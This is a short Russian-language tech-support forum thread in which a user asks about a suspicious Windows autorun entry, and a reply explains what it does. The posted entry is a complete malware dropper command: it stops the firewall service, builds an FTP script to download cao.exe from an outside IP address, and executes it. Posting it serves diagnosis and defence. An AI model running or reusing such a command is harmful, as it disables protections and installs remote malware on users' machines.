![]() |
Запуск при старте системы
Здравствуйте форумчане, появилась таая строчка в автозапуске:
Код:
c:\windows\system32\cmd.exe /c net1 stop sharedaccess&echo open 113.6.247.57> cmd.txt&echo 123>> cmd.txt&echo 123>> cmd.txt&echo binary >> cmd.txt&echo get cao.exe>> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&p -s:cmd.txt&cao.exe&cao.exe&del cmd.txt /q /f Возможно последствия зловреда. |
теоретически батник создаёт скрипт для загрузки какого-то cao.exe с сервера ftp. Выполняет загрузку с адреса 113.6.247.57 и запускает экзешник. Первый же поисковик доменов сказал что адрес неверный...
|
Время: 05:32. |
Время: 05:32.
© OSzone.net 2001-